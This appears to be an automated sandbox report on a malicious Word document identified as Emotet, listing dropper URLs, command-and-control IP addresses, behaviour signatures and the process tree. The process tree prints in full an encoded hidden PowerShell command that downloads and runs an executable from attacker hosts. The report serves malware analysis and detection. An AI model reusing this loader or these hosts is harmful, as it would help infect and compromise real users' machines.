Analysis

  • max time kernel
    30s
  • resource
    win10v191014
  • submitted
    11-12-2019 18:09

General

  • Target

    4320ac63a844d0218ce852cf498b9abca14799f24c8808dc551e3818a544bd68.doc

  • Sample

    191211-332jrwpez2

  • SHA256

    4320ac63a844d0218ce852cf498b9abca14799f24c8808dc551e3818a544bd68

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://trendinformatica.eu/arcfabrics/i88ixy9/

exe.dropper

http://theomelet.com/wp-content/fQd/

exe.dropper

http://kgd898.com/wp-admin/h45mi/

exe.dropper

http://idealssschang.com/calendar/60PcB/

exe.dropper

http://happiness360degree.com/wp-admin/fj/

Extracted

Family

emotet

C2

110.143.84.202:80

75.80.148.244:80

64.53.242.181:8080

37.59.24.177:8080

66.34.201.20:7080

108.179.206.219:8080

45.56.88.91:443

206.189.112.148:8080

211.63.71.72:8080

178.210.51.222:8080

92.186.52.193:80

195.244.215.206:80

2.38.99.79:80

37.157.194.134:443

206.81.10.215:8080

80.21.182.46:80

80.11.163.139:21

190.56.255.118:80

190.226.44.20:21

173.70.81.77:80

rsa_pubkey.plain

Signatures

  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4320ac63a844d0218ce852cf498b9abca14799f24c8808dc551e3818a544bd68.doc" /o ""
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4924
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4388
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:4520
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABHAGsAYgBlAGkAbgBoAG4AZAB4AD0AJwBKAHMAawB0AHoAYgBxAGgAdgBpAHIAaQAnADsAJABHAHIAegBoAHAAaQBsAGMAeQAgAD0AIAAnADUAMAA2ACcAOwAkAFYAZQBnAGsAcAB2AGgAbABjAGUAbwBiAD0AJwBIAHcAaAB5AHcAcQBvAGYAcABtACcAOwAkAE4AbgBkAHMAcgBuAGcAcwBrAHAAdAB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAHIAegBoAHAAaQBsAGMAeQArACcALgBlAHgAZQAnADsAJABCAHAAeQBzAHMAcgB4AHQAbAA9ACcATQBzAHoAYwBoAGgAbwBsAHoAbwB2AG8AbAAnADsAJABFAG8AZgBpAGMAbwBnAHEAaQA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAQgBDAEwAaQBFAG4AVAA7ACQAUwBhAHcAawB2AHkAYwBrAHgAegBzAD0AJwBoAHQAdABwADoALwAvAHQAcgBlAG4AZABpAG4AZgBvAHIAbQBhAHQAaQBjAGEALgBlAHUALwBhAHIAYwBmAGEAYgByAGkAYwBzAC8AaQA4ADgAaQB4AHkAOQAvACoAaAB0AHQAcAA6AC8ALwB0AGgAZQBvAG0AZQBsAGUAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAUQBkAC8AKgBoAHQAdABwADoALwAvAGsAZwBkADgAOQA4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoADQANQBtAGkALwAqAGgAdAB0AHAAOgAvAC8AaQBkAGUAYQBsAHMAcwBzAGMAaABhAG4AZwAuAGMAbwBtAC8AYwBhAGwAZQBuAGQAYQByAC8ANgAwAFAAYwBCAC8AKgBoAHQAdABwADoALwAvAGgAYQBwAHAAaQBuAGUAcwBzADMANgAwAGQAZQBnAHIAZQBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmAGoALwAnAC4AIgBzAHAATABgAEkAVAAiACgAJwAqACcAKQA7ACQAUQB2AGYAcABwAHUAagBoAHQAcgA9ACcATAB4AGUAagBhAHgAegB1AGcAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQAQQBxAGkAdwBvAGUAbABiAGwAIABpAG4AIAAkAFMAYQB3AGsAdgB5AGMAawB4AHoAcwApAHsAdAByAHkAewAkAEUAbwBmAGkAYwBvAGcAcQBpAC4AIgBEAGAAbwBgAHcAbgBMAE8AQQBEAEYASQBgAEwAZQAiACgAJABBAHEAaQB3AG8AZQBsAGIAbAAsACAAJABOAG4AZABzAHIAbgBnAHMAawBwAHQAdQApADsAJABZAGEAYQBiAHQAZwBhAG0AaQA9ACcAQwBuAHYAdQBjAGMAawBnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQAuACIATABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADgANQAzADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQByAHQAIgAoACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQA7ACQAQwBvAHYAZgB1AHEAbQBwAGMAdQBoAHgAcgA9ACcASQBvAG4AcQBhAGIAYwB3AGIAdgBlAGQAJwA7AGIAcgBlAGEAawA7ACQAVwBwAGMAbgBiAHkAbQBmAG8AbABrAGEAPQAnAEYAdQBxAGUAZgBpAHUAdgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcAegByAHQAagBxAG0AcAB4AGcAZQBmAD0AJwBRAGgAYwBhAGIAZwBhAGgAdwBxAGgAJwA=
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • Suspicious behavior: EnumeratesProcesses
      PID:4540
      • C:\Users\Admin\506.exe
        "C:\Users\Admin\506.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        • Suspicious use of SetWindowsHookEx
        PID:4668
        • C:\Users\Admin\506.exe
          --dec73219
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          PID:4360

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\506.exe

    • C:\Users\Admin\506.exe

    • C:\Users\Admin\506.exe

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-634046074-2673730973-2644684987-1000\0f5007522459c86e95ffcc62f32308f1_293fa5bd-edfb-4bba-800e-a7dce3ea3438

    • memory/4668-8-0x00000000023D0000-0x00000000023E7000-memory.dmp

      Filesize

      92KB

    • memory/4924-2-0x000001AFA5B20000-0x000001AFA5B25000-memory.dmp

      Filesize

      20KB